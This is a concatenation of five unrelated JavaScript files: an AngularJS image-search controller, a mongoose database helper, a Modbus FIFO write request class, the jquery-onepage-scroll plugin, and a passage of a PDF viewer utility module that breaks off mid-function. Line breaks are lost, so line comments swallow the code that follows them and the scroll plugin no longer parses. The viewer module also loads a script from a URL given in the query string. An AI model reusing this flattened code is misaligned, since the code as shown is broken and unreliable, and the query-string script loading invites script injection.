(function () { 'use strict'; angular .module('nasaImagesApp.search', ['ngRoute']) .config(['$routeProvider', function ($routeProvider) { $routeProvider.when('/', { templateUrl: 'search/search.html', controller: 'SearchCtrl', controllerAs: 'search' }); }]) .controller('SearchCtrl', SearchCtrl); SearchCtrl.$inject = ['$scope', 'imagesService', '$location', '$routeParams']; function SearchCtrl($scope, imagesService, $location, $routeParams) { /* jshint validthis: true */ var vm = this; vm.photos = []; vm.searchDateTypes = [{value: 'date_uploaded', display: 'Date Uploaded'}, {value: 'date_taken', display: 'Date Taken'}]; vm.searchInOptions = [{value: 'all', display: 'Everywhere'}, {value: 'tags', display: 'Tags Only'}]; vm.sortOptions = [{value: 'relevant', display: 'Relevant'}, {value: 'date_uploaded', display: 'Date Uploaded'}, {value: 'date_taken', display: 'Date Taken'}, {value: 'interesting', display: 'Interesting'}]; vm.query = { q: $routeParams.q, searchDateType: vm.searchDateTypes[0].value, fromDate: null, toDate: null, searchIn: vm.searchInOptions[0].value, sort: vm.sortOptions[0].value, page: 1, perPage: 48 }; vm.search = search; vm.loadMore = loadMore; vm.showPhoto = showPhoto; vm.search(); ///////////////////// $scope.$watch("query", function (newValue, oldValue) { vm.search(); }, true); ////////////////// function search() { imagesService.query(vm.query).then(function (data) { vm.photos = data; }); } function loadMore() { vm.query.page++; } function showPhoto(photo) { imagesService.selected(photo); $location.url('/photo/' + photo.id); }; } })();
/** * @author Josh Stuart <joshstuartx@gmail.com> */ var q = require('q'); var mongoose = require('mongoose'); var config = require('../../config/config'); var logger = require('./logger'); /** * A DB util class that abstracts mongoose functions. * * @constructor */ function Db(options) { options = options || {}; // eslint-disable-line no-param-reassign this.autoReconnect = options.autoReconnect || false; } /** * Instantiate the database connection */ Db.prototype.connect = function() { var connect; if (!this._db || this._db.readyState !== mongoose.Connection.STATES.connected) { // Connect to mongodb connect = function() { var options = {server: {socketOptions: {keepAlive: 1}}}; mongoose.connect(config.db, options); }; // connect to mongo connect(); this._db = mongoose.connection; this._db.on('error', function(err) { logger.info('Connection error', err); throw new Error('unable to connect to database at ' + config.db); }); this._db.on('close', function() { logger.info('Connection closed'); }); this._db.on('connected', function() { logger.info('Connection opened'); }); this._db.on('disconnected', function() { if (this.autoReconnect) { connect(); } }.bind(this)); } }; Db.prototype.disconnect = function() { if (!!this._db && this._db.readyState === mongoose.Connection.STATES.connected) { this.autoReconnect = false; this._db.close(); } }; /** * A wrapper around the mongoose save function and returns a promise. * @param object * @returns {Promise} * @public */ Db.prototype.create = function(object) { return q.ninvoke(object, 'save'). then(function() { return object; }); }; /** * A wrapper around the mongoose save function to "update", even though they are the same thing as create, * other ODMs may differ so this is a way to hedge for the future. * * @param object */ Db.prototype.update = function(object) { return q.ninvoke(object, 'save'). then(function() { return object; }); }; /** * Imports passed data to schema. * * @param Schema * @param data * @returns {Promise} * @public */ Db.prototype.import = function(Schema, data) { var deferred = q.defer(); Schema.collection.insertMany(data, function(err, results) { if (err) { deferred.reject(err); } else { deferred.resolve(results); } }); return deferred.promise; }; /** * Removes all data from the passed collection schema. * * @param Schema * @returns {Promise} * @public */ Db.prototype.removeAll = function(Schema) { return q.ninvoke(Schema, 'remove', {}); }; /** * A wrapper function for the mongoose "find". * * @param Schema * @param options * @returns {Promise} * @public */ Db.prototype.findAll = function(Schema, options) { var query; if (!options) { options = { // eslint-disable-line no-param-reassign criteria: {} }; } else if (!options.criteria) { options.criteria = {}; } query = Schema.find(options.criteria); if (!!options.lean) { query.lean(); } if (!!options.select) { query.select(options.select); } return this.execute(query); }; /** * A wrapper function for the mongoose "findOne". * * @param Schema * @param options * @returns {Promise} * @public */ Db.prototype.find = function(Schema, options) { var query; if (!options) { options = { // eslint-disable-line no-param-reassign criteria: {} }; } else if (!options.criteria) { options.criteria = {}; } query = Schema.findOne(options.criteria); if (!!options.lean) { query.lean(); } if (!!options.select) { query.select(options.select); } return this.execute(query); }; /** * Wraps a mongoose query in a "q" promise. * * @param query * @returns {Promise} * @public */ Db.prototype.execute = function(query) { var deferred = q.defer(); query.exec(function(err, results) { if (err) { deferred.reject(err); } else { deferred.resolve(results); } }); return deferred.promise; }; module.exports = new Db();
'use strict'; var util = require('./util'); var Request = require('./Request'); var WriteFifo8Response = require('./WriteFifo8Response'); module.exports = WriteFifo8Request; /** * The write 8-bit FIFO request (code 0x42). * * A binary representation of this request varies in length and consists of: * * - a function code (1 byte), * - a FIFO Id (1 byte), * - a byte count (`N`; 1 byte), * - values to be written (`N` bytes). * * @constructor * @extends {Request} * @param {number} id the FIFO ID * @param {Buffer} values Values to be written to the FIFO * @throws {Error} If the `id` is not a number between 0 and 0xFF. * @throws {Error} If the `values` is not between 1 and 250 bytes */ function WriteFifo8Request(id, values) { Request.call(this, 0x42); if( values.length < 1 || values.length > 250) { throw new Error(util.format( "The length of the `values` Buffer must be " + "between 1 and 250, got: %d", values.length )); } /** * A starting address. A number between 0 and 0xFFFF. * * @private * @type {number} */ this.id = util.prepareNumericOption(id, 0, 0, 255, 'id'); /** * Values of the registers. A buffer of length between 1 and 250. * * @private * @type {Buffer} */ this.values = values; } util.inherits(WriteFifo8Request, Request); /** * Creates a new request from the specified `options`. * * Available options for this request are: * * - `id` (number, optional) - * The object ID. If specified, must be a number between 0 and 0xFF. * Defaults to 0. * * - `values` (Buffer, required) - * Values of the registers. Must be a buffer of length * between 1 and 250. * * @param {object} options An options object. * @param {number} [options.id] * @param {Buffer} options.values * @returns {WriteFifo8Request} A request * created from the specified `options`. * @throws {Error} If any of the specified options are not valid. */ WriteFifo8Request.fromOptions = function(options) { return new WriteFifo8Request(options.id, options.values); }; /** * Creates a new request from its binary representation. * * @param {Buffer} buffer A binary representation of this request. * @returns {WriteFifo8Request} A request * created from its binary representation. * @throws {Error} If the specified buffer is not a valid binary representation * of this request. */ WriteFifo8Request.fromBuffer = function(buffer) { util.assertBufferLength(buffer, 4); util.assertFunctionCode(buffer[0], 0x42); var id = buffer[1]; var byteCount = buffer[2]; var values = new Buffer(byteCount); buffer.copy(values, 0, 3, 3 + byteCount); return new WriteFifo8Request(id, values); }; /** * Returns a binary representation of this request. * * @returns {Buffer} A binary representation of this request. */ WriteFifo8Request.prototype.toBuffer = function() { var buffer = new Buffer(3 + this.values.length); buffer[0] = 0x42; buffer[1] = this.id; buffer[2] = this.values.length; this.values.copy(buffer, 3); return buffer; }; /** * Returns a string representation of this request. * * @returns {string} A string representation of this request. */ WriteFifo8Request.prototype.toString = function() { return util.format( "0x42 (REQ) Write %d bytes to FIFO %d :", this.values.length, this.id, this.values ); }; /** * @param {Buffer} responseBuffer * @returns {Response} * @throws {Error} */ WriteFifo8Request.prototype.createResponse = function(responseBuffer) { return this.createExceptionOrResponse( responseBuffer, WriteFifo8Response ); }; /** * @returns {number} The FIFO ID. */ WriteFifo8Request.prototype.getId = function() { return this.id; }; /** * @returns {Buffer} Values of the registers */ WriteFifo8Request.prototype.getValues = function() { return this.values; };
/* =========================================================== * jquery-onepage-scroll.js v1.3.1 * =========================================================== * Copyright 2013 Pete Rojwongsuriya. * http://www.thepetedesign.com * * Create an Apple-like website that let user scroll * one page at a time * * Credit: Eike Send for the awesome swipe event * https://github.com/peachananr/onepage-scroll * * License: GPL v3 * * ========================================================== */ !function($){ var defaults = { sectionContainer: "section", easing: "ease", animationTime: 1000, pagination: true, updateURL: false, keyboard: true, beforeMove: null, afterMove: null, loop: true, responsiveFallback: false, direction : 'vertical' }; /*------------------------------------------------*/ /* Credit: Eike Send for the awesome swipe event */ /*------------------------------------------------*/ $.fn.swipeEvents = function() { return this.each(function() { var startX, startY, $this = $(this); $this.bind('touchstart', touchstart); function touchstart(event) { var touches = event.originalEvent.touches; if (touches && touches.length) { startX = touches[0].pageX; startY = touches[0].pageY; $this.bind('touchmove', touchmove); } } function touchmove(event) { var touches = event.originalEvent.touches; if (touches && touches.length) { var deltaX = startX - touches[0].pageX; var deltaY = startY - touches[0].pageY; if (deltaX >= 50) { $this.trigger("swipeLeft"); } if (deltaX <= -50) { $this.trigger("swipeRight"); } if (deltaY >= 50) { $this.trigger("swipeUp"); } if (deltaY <= -50) { $this.trigger("swipeDown"); } if (Math.abs(deltaX) >= 50 || Math.abs(deltaY) >= 50) { $this.unbind('touchmove', touchmove); } } } }); }; $.fn.onepage_scroll = function(options){ var settings = $.extend({}, defaults, options), el = $(this), sections = $(settings.sectionContainer) total = sections.length, status = "off", topPos = 0, leftPos = 0, lastAnimation = 0, quietPeriod = 200, paginationList = ""; $.fn.transformPage = function(settings, pos, index) { if (typeof settings.beforeMove == 'function') settings.beforeMove(index); // Just a simple edit that makes use of modernizr to detect an IE8 browser and changes the transform method into // an top animate so IE8 users can also use this script. if($('html').hasClass('ie8')){ if (settings.direction == 'horizontal') { var toppos = (el.width()/100)*pos; $(this).animate({left: toppos+'px'},settings.animationTime); } else { var toppos = (el.height()/100)*pos; $(this).animate({top: toppos+'px'},settings.animationTime); } } else{ $(this).css({ "-webkit-transform": ( settings.direction == 'horizontal' ) ? "translate3d(" + pos + "%, 0, 0)" : "translate3d(0, " + pos + "%, 0)", "-webkit-transition": "all " + settings.animationTime + "ms " + settings.easing, "-moz-transform": ( settings.direction == 'horizontal' ) ? "translate3d(" + pos + "%, 0, 0)" : "translate3d(0, " + pos + "%, 0)", "-moz-transition": "all " + settings.animationTime + "ms " + settings.easing, "-ms-transform": ( settings.direction == 'horizontal' ) ? "translate3d(" + pos + "%, 0, 0)" : "translate3d(0, " + pos + "%, 0)", "-ms-transition": "all " + settings.animationTime + "ms " + settings.easing, "transform": ( settings.direction == 'horizontal' ) ? "translate3d(" + pos + "%, 0, 0)" : "translate3d(0, " + pos + "%, 0)", "transition": "all " + settings.animationTime + "ms " + settings.easing }); } $(this).one('webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend', function(e) { if (typeof settings.afterMove == 'function') settings.afterMove(index); }); } $.fn.moveDown = function() { var el = $(this) index = $(settings.sectionContainer +".active").data("index"); current = $(settings.sectionContainer + "[data-index='" + index + "']"); next = $(settings.sectionContainer + "[data-index='" + (index + 1) + "']"); if(next.length < 1) { if (settings.loop == true) { pos = 0; next = $(settings.sectionContainer + "[data-index='1']"); } else { return } }else { pos = (index * 100) * -1; } if (typeof settings.beforeMove == 'function') settings.beforeMove( next.data("index")); current.removeClass("active") next.addClass("active"); if(settings.pagination == true) { $(".onepage-pagination li a" + "[data-index='" + index + "']").removeClass("active"); $(".onepage-pagination li a" + "[data-index='" + next.data("index") + "']").addClass("active"); } $("body")[0].className = $("body")[0].className.replace(/\bviewing-page-\d.*?\b/g, ''); $("body").addClass("viewing-page-"+next.data("index")); $(".page-number .current-page").html(next.data("index")); if (history.replaceState && settings.updateURL == true) { var href = window.location.href.substr(0,window.location.href.indexOf('#')) + "#" + (index + 1); history.pushState( {}, document.title, href ); } el.transformPage(settings, pos, next.data("index")); } $.fn.moveUp = function() { var el = $(this) index = $(settings.sectionContainer +".active").data("index"); current = $(settings.sectionContainer + "[data-index='" + index + "']"); next = $(settings.sectionContainer + "[data-index='" + (index - 1) + "']"); if(next.length < 1) { if (settings.loop == true) { pos = ((total - 1) * 100) * -1; next = $(settings.sectionContainer + "[data-index='"+total+"']"); } else { return } }else { pos = ((next.data("index") - 1) * 100) * -1; } if (typeof settings.beforeMove == 'function') settings.beforeMove(next.data("index")); current.removeClass("active") next.addClass("active") if(settings.pagination == true) { $(".onepage-pagination li a" + "[data-index='" + index + "']").removeClass("active"); $(".onepage-pagination li a" + "[data-index='" + next.data("index") + "']").addClass("active"); } $("body")[0].className = $("body")[0].className.replace(/\bviewing-page-\d.*?\b/g, ''); $("body").addClass("viewing-page-"+next.data("index")) $(".page-number .current-page").html(next.data("index")); if (history.replaceState && settings.updateURL == true) { var href = window.location.href.substr(0,window.location.href.indexOf('#')) + "#" + (index - 1); history.pushState( {}, document.title, href ); } el.transformPage(settings, pos, next.data("index")); } $.fn.moveTo = function(page_index) { current = $(settings.sectionContainer + ".active") next = $(settings.sectionContainer + "[data-index='" + (page_index) + "']"); if(next.length > 0) { if (typeof settings.beforeMove == 'function') settings.beforeMove(next.data("index")); current.removeClass("active") next.addClass("active") $(".onepage-pagination li a" + ".active").removeClass("active"); $(".onepage-pagination li a" + "[data-index='" + (page_index) + "']").addClass("active"); $("body")[0].className = $("body")[0].className.replace(/\bviewing-page-\d.*?\b/g, ''); $("body").addClass("viewing-page-"+next.data("index")) pos = ((page_index - 1) * 100) * -1; if (history.replaceState && settings.updateURL == true) { var href = window.location.href.substr(0,window.location.href.indexOf('#')) + "#" + (page_index - 1); history.pushState( {}, document.title, href ); } el.transformPage(settings, pos, page_index); } }; $.fn.destroyEvents = function(){ $(document).unbind('mousewheel DOMMouseScroll MozMousePixelScroll'); }; $.fn.initEvents = function(){ $(document).bind('mousewheel DOMMouseScroll MozMousePixelScroll', function(event) { event.preventDefault(); var delta = event.originalEvent.wheelDelta || -event.originalEvent.detail; if(!$("body").hasClass("disabled-onepage-scroll")) init_scroll(event, delta); }); }; function responsive() { //start modification var valForTest = false; var typeOfRF = typeof settings.responsiveFallback if(typeOfRF == "number"){ valForTest = $(window).width() < settings.responsiveFallback; } if(typeOfRF == "boolean"){ valForTest = settings.responsiveFallback; } if(typeOfRF == "function"){ valFunction = settings.responsiveFallback(); valForTest = valFunction; typeOFv = typeof valForTest; if(typeOFv == "number"){ valForTest = $(window).width() < valFunction; } } //end modification if (valForTest) { $("body").addClass("disabled-onepage-scroll"); $(document).unbind('mousewheel DOMMouseScroll MozMousePixelScroll'); el.swipeEvents().unbind("swipeDown swipeUp"); } else { if($("body").hasClass("disabled-onepage-scroll")) { $("body").removeClass("disabled-onepage-scroll"); $("html, body, .wrapper").animate({ scrollTop: 0 }, "fast"); } el.swipeEvents().bind("swipeDown", function(event){ if (!$("body").hasClass("disabled-onepage-scroll")) event.preventDefault(); el.moveUp(); }).bind("swipeUp", function(event){ if (!$("body").hasClass("disabled-onepage-scroll")) event.preventDefault(); el.moveDown(); }); $(document).bind('mousewheel DOMMouseScroll MozMousePixelScroll', function(event) { event.preventDefault(); var delta = event.originalEvent.wheelDelta || -event.originalEvent.detail; init_scroll(event, delta); }); } } function init_scroll(event, delta) { deltaOfInterest = delta; var timeNow = new Date().getTime(); // Cancel scroll if currently animating or within quiet period if(timeNow - lastAnimation < quietPeriod + settings.animationTime) { event.preventDefault(); return; } if (deltaOfInterest < 0) { el.moveDown() } else { el.moveUp() } lastAnimation = timeNow; } // Prepare everything before binding wheel scroll el.addClass("onepage-wrapper").css("position","relative"); $.each( sections, function(i) { $(this).css({ position: "absolute", top: topPos + "%" }).addClass("section").attr("data-index", i+1); $(this).css({ position: "absolute", left: ( settings.direction == 'horizontal' ) ? leftPos + "%" : 0, top: ( settings.direction == 'vertical' || settings.direction != 'horizontal' ) ? topPos + "%" : 0 }); if (settings.direction == 'horizontal') leftPos = leftPos + 100; else topPos = topPos + 100; if(settings.pagination == true) { paginationList += "<li><a data-index='"+(i+1)+"' href='#" + (i+1) + "'></a></li>" } }); el.swipeEvents().bind("swipeDown", function(event){ if (!$("body").hasClass("disabled-onepage-scroll")) event.preventDefault(); el.moveUp(); }).bind("swipeUp", function(event){ if (!$("body").hasClass("disabled-onepage-scroll")) event.preventDefault(); el.moveDown(); }); // Create Pagination and Display Them if (settings.pagination == true) { if ($('ul.onepage-pagination').length < 1) $("<ul class='onepage-pagination'></ul>").prependTo("body"); if( settings.direction == 'horizontal' ) { posLeft = (el.find(".onepage-pagination").width() / 2) * -1; el.find(".onepage-pagination").css("margin-left", posLeft); } else { posTop = (el.find(".onepage-pagination").height() / 2) * -1; el.find(".onepage-pagination").css("margin-top", posTop); } $('ul.onepage-pagination').html(paginationList); } if(window.location.hash != "" && window.location.hash != "#1") { init_index = window.location.hash.replace("#", "") if (parseInt(init_index) <= total && parseInt(init_index) > 0) { $(settings.sectionContainer + "[data-index='" + init_index + "']").addClass("active") $("body").addClass("viewing-page-"+ init_index) if(settings.pagination == true) $(".onepage-pagination li a" + "[data-index='" + init_index + "']").addClass("active"); next = $(settings.sectionContainer + "[data-index='" + (init_index) + "']"); if(next) { next.addClass("active") if(settings.pagination == true) $(".onepage-pagination li a" + "[data-index='" + (init_index) + "']").addClass("active"); $("body")[0].className = $("body")[0].className.replace(/\bviewing-page-\d.*?\b/g, ''); $("body").addClass("viewing-page-"+next.data("index")) if (history.replaceState && settings.updateURL == true) { var href = window.location.href.substr(0,window.location.href.indexOf('#')) + "#" + (init_index); history.pushState( {}, document.title, href ); } } pos = ((init_index - 1) * 100) * -1; el.transformPage(settings, pos, init_index); } else { $(settings.sectionContainer + "[data-index='1']").addClass("active") $("body").addClass("viewing-page-1") if(settings.pagination == true) $(".onepage-pagination li a" + "[data-index='1']").addClass("active"); } }else{ $(settings.sectionContainer + "[data-index='1']").addClass("active") $("body").addClass("viewing-page-1") if(settings.pagination == true) $(".onepage-pagination li a" + "[data-index='1']").addClass("active"); } if(settings.pagination == true) { $(".onepage-pagination li a").click(function (){ var page_index = $(this).data("index"); el.moveTo(page_index); }); } $(document).bind('mousewheel DOMMouseScroll MozMousePixelScroll', function(event) { event.preventDefault(); var delta = event.originalEvent.wheelDelta || -event.originalEvent.detail; if(!$("body").hasClass("disabled-onepage-scroll")) init_scroll(event, delta); }); if(settings.responsiveFallback != false) { $(window).resize(function() { responsive(); }); responsive(); } if(settings.keyboard == true) { $(document).keydown(function(e) { var tag = e.target.tagName.toLowerCase(); if (!$("body").hasClass("disabled-onepage-scroll")) { switch(e.which) { case 38: if (tag != 'input' && tag != 'textarea') el.moveUp() break; case 40: if (tag != 'input' && tag != 'textarea') el.moveDown() break; case 32: //spacebar if (tag != 'input' && tag != 'textarea') el.moveDown() break; case 33: //pageg up if (tag != 'input' && tag != 'textarea') el.moveUp() break; case 34: //page dwn if (tag != 'input' && tag != 'textarea') el.moveDown() break; case 36: //home el.moveTo(1); break; case 35: //end el.moveTo(total); break; default: return; } } }); } return false; } }(window.jQuery);
/*global Android, DesktopReaderControl */ // Code that is shared between ReaderControl.js and MobileReaderControl.js (function(exports) { "use strict"; exports.ControlUtils = {}; // polyfill for console object exports.console = exports.console || { log: function () { }, warn: function () { }, error: function () { }, assert: function () { } }; var isUndefined = function(val) { return typeof val === "undefined"; }; // use instead of window.location.hash because of https://bugzilla.mozilla.org/show_bug.cgi?id=483304 var getWindowHash = function() { var url = window.location.href; var i = url.indexOf("#"); return (i >= 0 ? url.substring(i + 1) : ""); }; // get a map of the query string parameters // useHash parameter's default is true exports.ControlUtils.getQueryStringMap = function(useHash) { if (isUndefined(useHash)) { useHash = true; } var varMap = {}; // if useHash is false then we'll use the parameters after '?' var queryString = useHash ? getWindowHash() : window.location.search.substring(1); var fieldValPairs = queryString.split("&"); for (var i = 0; i < fieldValPairs.length; i++) { var fieldVal = fieldValPairs[i].split("="); varMap[fieldVal[0]] = fieldVal[1]; } return { getBoolean: function(field, defaultValue) { var value = varMap[field]; if (!isUndefined(value)) { value = value.toLowerCase(); if (value === "true" || value === "yes" || value === "1") { return true; } else if (value === "false" || value === "no" || value === "0") { return false; } else { // convert to boolean return !!field; } } else { if (isUndefined(defaultValue)) { return null; } else { return defaultValue; } } }, getString: function(field, defaultValue) { var value = varMap[field]; if (!isUndefined(value)) { return decodeURIComponent(value); } else { if (isUndefined(defaultValue)) { return null; } else { return defaultValue; } } } }; }; exports.ControlUtils.initialize = function(notSupportedCallback) { $(window).on('hashchange', function() { window.location.reload(); }); window.ControlUtils.i18nInit(function() { if (!window.CanvasRenderingContext2D) { notSupportedCallback(); } }); if (!window.CanvasRenderingContext2D) { return; } var queryParams = window.ControlUtils.getQueryStringMap(!window.utils.ieWebViewLocal); var configScript = queryParams.getString('config'); var xdomainUrls = queryParams.getString('xdomain_urls'); if (xdomainUrls !== null) { window.ControlUtils.initXdomain(xdomainUrls); } function initializeReaderControl() { var showToolbar = queryParams.getBoolean('toolbar'); if (showToolbar !== null) { ReaderControl.config.ui.hideControlBar = !showToolbar; } window.readerControl = new ReaderControl({ enableAnnot: queryParams.getBoolean('a', false), enableOffline: queryParams.getBoolean('offline', false), docId: queryParams.getString('did'), serverUrl: queryParams.getString('server_url'), user: queryParams.getString('user'), isAdmin: queryParams.getBoolean('admin', false), readOnly: queryParams.getBoolean('readonly', false), hideToolbar: ReaderControl.config.ui.hideControlBar, showFilePicker: queryParams.getBoolean('filepicker', false), pdfType: pdfType }); var doc = queryParams.getString('d'); if (typeof Android !== "undefined" && typeof Android.getXodContentUri !== "undefined") { doc = Android.getXodContentUri(); } var streaming = queryParams.getBoolean('streaming', false); var autoLoad = queryParams.getBoolean('auto_load', true); window.readerControl.fireEvent("viewerLoaded"); // auto loading may be set to false by webviewer if it wants to trigger the loading itself at a later time if (doc === null || autoLoad === false) { return; } if (queryParams.getBoolean('startOffline')) { $.ajaxSetup ({ cache: true }); window.readerControl.loadDocument(doc, {streaming: false}); } else { window.ControlUtils.byteRangeCheck(function(status) { // if the range header is supported then we will receive a status of 206 if (status === 200) { streaming = true; console.warn('HTTP range requests not supported. Switching to streaming mode.'); } window.readerControl.loadDocument(doc, {streaming: streaming}); }, function() { // some browsers that don't support the range header will return an error window.readerControl.loadDocument(doc, {streaming: true}); }); } } function loadConfigScript() { if (configScript !== null && configScript.length > 0) { //override script path found, prepare ajax script injection $.getScript(configScript) .done(function(script, textStatus) { /*jshint unused:false */ initializeReaderControl(); }) .fail(function(jqxhr, settings, exception) { /*jshint unused:false */ console.warn("Config script could not be loaded. The default configuration will be used."); initializeReaderControl(); }); } else { //no override script path, use default initializeReaderControl(); } } var pdfType = queryParams.getString('pdf'); if (pdfType === 'pnacl' || pdfType === 'ems') { var files = ["external/FileSaver.min.js", "pdf/PDFReaderControl.js"]; var getScripts = files.map(function(fileName) { return $.getScript(fileName); }); $.when.apply(null, getScripts).done(function() { ReaderControl.config = DesktopReaderControl.config; loadConfigScript(); }); } else { loadConfigScript(); } }; exports.ControlUtils.getCustomData = function() { var queryParams = exports.ControlUtils.getQueryStringMap(); var customData = queryParams.getString("custom"); if (customData === null) { return null; } return customData; }; exports.ControlUtils.getI18nOptions = function(autodetect) { var options = { useCookie: false, useDataAttrOptions: true, defaultValueFromContent: false, fallbackLng: 'en', resGetPath: 'Resources/i18n/__ns__-__lng__.json' }; if (!autodetect) { options.lng = 'en'; } return options; }; exports.ControlUtils.i18nInit = function(callback) { i18n.init(exports.ControlUtils.getI18nOptions(), function() { $(document).trigger('i18nready'); if (callback) { callback(); } $('body').i18n(); }); }; exports.ControlUtils.initXdomain = function(xdomainUrls) { var urls = JSON.parse(xdomainUrls); var xdomainScript = $('<script>').attr('src', 'external/xdomain.js'); if (urls.url) { // only a single proxy xdomainScript.attr('slave', urls.url); } $('head').append(xdomainScript); if (!urls.url) { // multiple proxies xdomain.slaves(urls); } }; exports.ControlUtils.getNotifyFunction = function(e, type) { switch (type) { case "permissionEdit": alert(i18n.t("annotations.permissionEdit")); break; case "permissionDelete": alert(i18n.t("annotations.permissionDelete")); break; case "readOnlyCreate": alert(i18n.t("annotations.readOnlyCreate")); break; case "readOnlyDelete": alert(i18n.t("annotations.readOnlyDelete")); break; case "readOnlyEdit": alert(i18n.t("annotations.readOnlyEdit")); break; case "markupOffCreate": alert(i18n.t("annotations.markupOffCreate")); break; } }; // determine if the browser and server support the range header so we can decide to stream or not // note that this will not handle the case where the document is on a different domain than the viewer // and one server supports range requests and the other doesn't exports.ControlUtils.byteRangeCheck = function(onSuccess, onError) { $.ajax({ url: window.location.href, type: "GET", cache: false, headers: { "Range": "bytes=0-0" }, success: function(data, textStatus, jqXHR) { onSuccess(jqXHR.status); }, error: function() { onError(); } }); }; var toolList = []; exports.ControlUtils.editMode = { basic: 'Basic', advanced: 'Advanced' }; // register annotation tools that should have their default values updated when an annotation property changes // the name property should be unique to the tool exports.ControlUtils.registerTool = function(tool, name, annotType, annotationCheck) { /*jshint newcap:false */ var toolObj = { tool: tool, name: name, annotationCheck: function(annot) { // check the annotation type and do an additional check if specified var passed = annot.elementName === annotType.prototype.elementName; if (passed && annotationCheck) { passed = annotationCheck(annot); } return passed; } }; var storedValue = exports.ControlUtils.importToolData(name); if (storedValue && storedValue.defaultEditMode) { toolObj.defaultEditMode = storedValue.defaultEditMode; } else { toolObj.defaultEditMode = exports.ControlUtils.editMode.basic; } // check to see if the annotation defines these color properties var testAnnot = new annotType(); if (testAnnot.StrokeColor) { if (storedValue && storedValue.colors) { toolObj.colors = storedValue.colors; } else { toolObj.colors = ['#FF0000', '#FF8000', '#FFFF00', '#00FF00', '#008000', '#00FFFF', '#0000FF', '#FF00FF', '#000000', '#FFFFFF']; } } if (testAnnot.FillColor) { if (storedValue && storedValue.fillColors) { toolObj.fillColors = storedValue.fillColors; } else { toolObj.fillColors = ['#FF0000', '#FF8000', '#FFFF00', '#00FF00', '#008000', '#00FFFF', '#0000FF', '#FF00FF', '#000000', '#FFFFFF', 'transparent']; } } if (testAnnot.TextColor) { if (storedValue && storedValue.textColors) { toolObj.textColors = storedValue.textColors; } else { toolObj.textColors = ['#FF0000', '#FF8000', '#FFFF00', '#00FF00', '#008000', '#00FFFF', '#0000FF', '#FF00FF', '#000000', '#FFFFFF']; } } if (storedValue && storedValue.defaults) { tool.defaults = storedValue.defaults; } toolList.push(toolObj); }; var getMatchingTools = function(annotation) { var matchedTools = []; var listLength = toolList.length; // check for matching tools that handle this type of annotation for (var i = 0; i < listLength; ++i) { if (toolList[i].annotationCheck(annotation)) { matchedTools.push(toolList[i]); } } return matchedTools; }; exports.ControlUtils.getToolColors = function(annotation) { var matchedTools = getMatchingTools(annotation); if (matchedTools.length === 1) { return { colors: matchedTools[0].colors, fillColors: matchedTools[0].fillColors, textColors: matchedTools[0].textColors }; } }; exports.ControlUtils.getAdvancedToolColors = function() { return ['#F8E0E0', '#F8ECE0', '#F7F8E0', '#E0F8E0', '#E0F8F7', '#E0E0F8', '#ECE0F8', '#F8E0F7', '#FFFFFF', '#F5A9A9', '#F5D0A9', '#F2F5A9', '#A9F5A9', '#A9F5F2', '#A9A9F5', '#D0A9F5', '#F5A9F2', '#E6E6E6', '#FA5858', '#FAAC58', '#F4FA58', '#58FA58', '#58FAF4', '#4848FA', '#AC58FA', '#FA58F4', '#BDBDBD', '#FF0000', '#FF8000', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#8000FF', '#FF00FF', '#808080', '#B40404', '#B45F04', '#AEB404', '#04B404', '#04B4AE', '#0404B4', '#5F04B4', '#B404AE', '#585858', '#800000', '#804000', '#808000', '#008000', '#008080', '#000080', '#400080', '#800080', '#444444', '#610B0B', '#61380B', '#5E610B', '#0B610B', '#0B615E', '#0B0B61', '#380B61', '#610B5E', '#2E2E2E', '#2A0A0A', '#2A1B0A', '#292A0A', '#0A2A0A', '#0A2A29', '#0A0A2A', '#1B0A2A', '#2A0A29', '#000000']; }; function getColorList(annotation, property) { var colorList = null; var matchedTools = getMatchingTools(annotation); if (matchedTools.length === 1) { if (property === 'StrokeColor') { colorList = matchedTools[0].colors; } else if (property === 'FillColor') { colorList = matchedTools[0].fillColors; } else if (property === 'TextColor') { colorList = matchedTools[0].textColors; } } return { tool: matchedTools[0], colorList: colorList }; } exports.ControlUtils.addToolColor = function(annotation, property, color) { var result = getColorList(annotation, property); var colorList = result.colorList; if (colorList !== null) { if (colorList.indexOf(color) === -1) { if (property === 'FillColor') { // always keep transparent last colorList.splice(-1, 0, color); } else { colorList.push(color); } exports.ControlUtils.exportToolData(result.tool); } } }; exports.ControlUtils.removeToolColor = function(annotation, property, color) { var result = getColorList(annotation, property); var colorList = result.colorList; if (colorList !== null) { var index = colorList.indexOf(color); if (index > -1) { colorList.splice(index, 1); exports.ControlUtils.exportToolData(result.tool); } } }; exports.ControlUtils.getDefaultToolEditingMode = function(annotation) { var matchedTools = getMatchingTools(annotation); if (matchedTools.length === 1) { return matchedTools[0].defaultEditMode; } return null; }; exports.ControlUtils.setDefaultToolEditingMode = function(annotation, editMode) { var matchedTools = getMatchingTools(annotation); if (matchedTools.length === 1) { matchedTools[0].defaultEditMode = editMode; exports.ControlUtils.exportToolData(matchedTools[0]); } }; $(document).on('defaultToolValueChanged', function(e, annotation, property, value) { var matchedTools = getMatchingTools(annotation); if (matchedTools.length === 1) { matchedTools[0].tool.defaults[property] = value; exports.ControlUtils.exportToolData(matchedTools[0]); } }); function exportTool(tool) { var toolData = { defaultEditMode: tool.defaultEditMode }; if (tool.colors) { toolData.colors = tool.colors; } if (tool.fillColors) { toolData.fillColors = tool.fillColors; } if (tool.textColors) { toolData.textColors = tool.textColors; } toolData.defaults = tool.tool.defaults; localStorage['toolData-' + tool.name] = JSON.stringify(toolData); } // saves the tool data to localstorage // if no tool is specified then data for all tools is saved exports.ControlUtils.exportToolData = function(tool) { if (_.isUndefined(tool)) { toolList.forEach(exportTool); } else { exportTool(tool); } }; // reads in the tool data from localstorage // returns null if nothing is saved there exports.ControlUtils.importToolData = function(name) { var value = localStorage['toolData-' + name]; if (value) { return JSON.parse(value); } return null; }; exports.ControlUtils.getSelectedAnnotation = function() { var am = readerControl.docViewer.getAnnotationManager(); var selectedAnnotations = am.getSelectedAnnotations(); if (selectedAnnotations.length <= 0) { return null; } var annotation = selectedAnnotations[0]; if (!am.canModify(annotation)) { return null; } return annotation; }; exports.ControlUtils.PropertyManager = function(annotationProperty, $slider, $radioContainer) { this.annotationProperty = annotationProperty; this.$slider = $slider; this.$radioContainer = $radioContainer; this.displayUnit = ''; this.annotationPropertyModifier = function(value) { return value; }; var me = this; // set up event handlers for radio buttons $radioContainer.find('[data-value]').each(function() { var $this = $(this); var val = $this.attr('data-value'); $this.on('click', function() { me.update(val); 